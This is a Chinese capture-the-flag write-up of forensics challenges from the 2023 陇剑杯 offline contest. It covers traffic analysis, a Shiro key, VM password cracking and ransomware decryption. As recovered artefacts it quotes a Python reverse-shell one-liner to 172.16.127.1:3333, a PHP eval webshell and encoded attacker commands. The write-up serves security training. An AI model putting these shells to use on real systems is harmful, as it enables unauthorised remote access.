半决赛
soeasy
抓的是一个 FTP 传文件的流量。
登录的密码是多少?,提交md5小写
直接追踪一手 TCP 流,第二流就是登录的内容,密码就是 test。
被加密的字符串是多少?
第 7 流给出了 RSA 的私钥文件(保存为 rsa_d.txt)
7.png)
第 11 流给出了加密代码
第 13 流给出了加密数据(原始数据视图),
编写解密代码
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
data = bytes.fromhex('4ed9959849916f5a53206967cde72416f3ecad8767fe37f8847320cf0d2e6b3bc615d91b64650a49b9be86eb33f105ff2aa46db7350966e7733c7b24aa9f96b882aaa4de57d7fc688a2900849417594beebd8f9d25a617bc77b922bed5744699241d178e0b5e61754b49800267cf1332f19e65d9db1cfd1522be65b42065f7bcf95cef926000571bb06a304ef383e18a7728ff1ec68277bfbd451f6e7c988f67dd2a4a26787f7b471f663b2cdccf762e300a54ce14920b3fbc3bffed3ab1bbedd9ae00ebdc9a0dc339bd2e16d82c3657325ef854cc39e2a5db0f3a1731818ee5f4318afc504852e0e0d756bfc378f02246f60aa49f4e55809686542130b61662')
def encrypt_message(message, public_key_path):
with open(public_key_path, 'rb') as f:
public_key = RSA.import_key(f.read())
cipher = PKCS1_OAEP.new(public_key)
encrypted_message = cipher.encrypt(message.encode())
return encrypted_message
def decrypt_message(message, public_key_path):
with open(public_key_path, 'rb') as f:
public_key = RSA.import_key(f.read())
cipher = PKCS1_OAEP.new(public_key)
encrypted_message = cipher.decrypt(message)
return encrypted_message
print(decrypt_message(data,"rsa_d.txt"))
得到 b'8dhn3edfna93rAPN'
图片中隐藏的数字是多少?
第 5 流有一个压缩包,保存下来
里头有一个 11.bmp
把高度调高一点
得到
淦,哪里是头啊,比赛试了2301040,试了3010402,,5次机会用完了也不对。赛后问了贝塔,才知道不是改高度,是改位深,把16改成24!
得到
1 和 2 叠起来了以为是 4,测!
session
抓的是一个通过注入获得管理员账号密码,后台 getshell 的一个流量记录。
通过注入得到的username是?
过滤查看 http 协议 ,发现后面是大块差不多的 http 请求,推测应该是盲注,我们直接看登录成功部分找结果
提交 adminadmin1I1
,好,是错的,实际上注入出来的是 adminadmin111
,虽然前面注入部分看不出注入者是如何判断的,但是注入者在得到正确字符后就会爆破下一个字符,因此我们可以根据 index 的变化来判定(变化的前一个字符是正确)。
除了 root 用户,还有哪个用户含有root权限?
在第2043流找到,test 的用户标识号是 0,所以它有 root 权限。
通过 debug 读取的哪个文件没有找到(绝对路径)
在第 2040 流找到:/etc/1
通过什么命令反弹的shell,提交md5小写
在第2046流里看到
因此就是 import os,pty,socket;s=socket.socket();s.connect(("172.16.127.1",3333));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")
的md5值
easy_shiro
给了一个日志文件,主要看到最后三条
请给出该应用 shiro key
拿到这题一脸懵逼,好在队友本地有工具:BlueTeamToolsV0.58
拿这上述框框里第一条数据的 rememberMe 的内容贴进去
因此 shiro key 就是 4AvVhmFLUs0KTA3Kprsdag==
溯源攻击者的操作,其中有flag
拿着上述框框里第二条数据的后半部分内容
是一个 java class 文件,保存一下用jd gui 看看(直接用 cyberchef 保存好像会报错,这里我用 python 解码再保存的)
eac9fa38330a7535
,还提到了 AES,就用 AES 解密一下log 文件里最后一行的数据有一个flag,提交,错误!提交给第三题,正确!(难崩)
要用到工具:SerializationDumper-Shiro.jar
java -jar SerializationDumper-Shiro.jar -s "第一条log的rememberMe"
然后反编译 bytecodes.class
根据代码,将 var21 的数组内容异或 21 再拼接
var21 = [118, 120, 113, 59, 112, 109, 112, 53, 58, 86, 53, 55, 112, 118, 125, 122, 53, 115, 121, 116, 114, 110, 35, 113, 115, 113, 118, 38, 45, 33, 113, 35, 37, 39, 32, 119, 39, 116, 119, 44, 119, 34, 36, 112, 118, 36, 32, 44, 34, 36, 116, 116, 36, 36, 104, 55]
print("".join(chr(i^21) for i in var21))
得到 cmd.exe /C "echo flag{6dfdc384d6025b2ab9b71ec15971aa11}"
攻击者植入了内存webshell,使用这个webshell做了什么,其中有flag
在解第二问的时候解出来了。
决赛
win
小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt,打开虚拟机的密码是多少?
somewhere
,这里用工具复现一下,需要解密的文件是 Windows 7 x64.vmx
需要的工具是 pyvmx-cracker,但是直接用会报错,因为
它检查的是第三行,emmm,给他改成 3。后面读字典还会报错 UnicodeDecodeError: 'gbk' codec can't decode byte 0x85 in position 5716: illegal multibyte sequence
,emmm,再改下
运行好一会得到:
xshell 链接的密码是多少?
得到密码 123456a
登录脚本启动的程序路径是什么?
进入虚拟机后,看到这个终端上面文件的路径,就是了:c:2333.bat
总共访问了几次 www.baidu.com?
www.baidu.com
10 次。mid
从哪个文件获取到的后台用户名密码?
Username:adminadmin Password:123456aA
,因此获取到登录用户名密码的文件就是 robots.txt
了。admin的密码通过哪个函数进行加密存储,答案示例 exec()
看到第 18633 条,也就是 4.txt 的内容
因此加密函数为 password_hash
写入的第一次的shell的连接密码是多少?
在第18086数据中看到
解码后是 <?php eval($_POST[1]); ?>
,因此答案就是 1
用户 hack 的密码是多少?
在 18647 数据看到,
是一个base64编码的命令执行,解码看一下
查看下面的返回
qwerty
ransom
攻击者通过后门在受害机器上安装了勒索病毒,给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)
test.exe
,dump下来然后 sha256 一下就好了勒索病毒对本地文件继续了加密,给出加密文件的数量
恢复被加密的 secret.txt 的内容
[API Monitor]
dHlwZSBlOlxcdG1wLnR4dA==
base64解码就是 type e:\tmp.txt
464ROI2+9sM+kxbMBiaBog==
,base64解码再转十六进制就是 e3ae11388dbef6c33e9316cc062681a2
P4m0zim6ISDKTc8yamhuNMqrgoCR3kB9cVFvhRvMFt0rVIS4zboCsF/Q/PLV0dH0
,base64解码再转十六进制就是 3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4
x06
,可以确定就是 cbc 模式了。但是显然在使用 AES 加密前,程序还对文件进行过处理,于是让队友找了一下,发现加密前会将文件内容异或文件名。(队友在 Documents 目录下创建了一个 aaa.txt 的文件)from Crypto.Util.number import *
from Crypto.Cipher import AES
key = bytes.fromhex('e3ae11388dbef6c33e9316cc062681a2')
c = bytes.fromhex('3f89b4ce29ba2120ca4dcf326a686e34caab828091de407d71516f851bcc16dd2b5484b8cdba02b05fd0fcf2d5d1d1f4')
enc = AES.new(key=key,mode = AES.MODE_CBC,iv = b'1234567890abcdef')
from pwn import xor
print(xor(enc.decrypt(c)[:-6],b"secret.txt"))
原文始发于微信公众号(Van1sh):2023 陇剑杯线下赛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论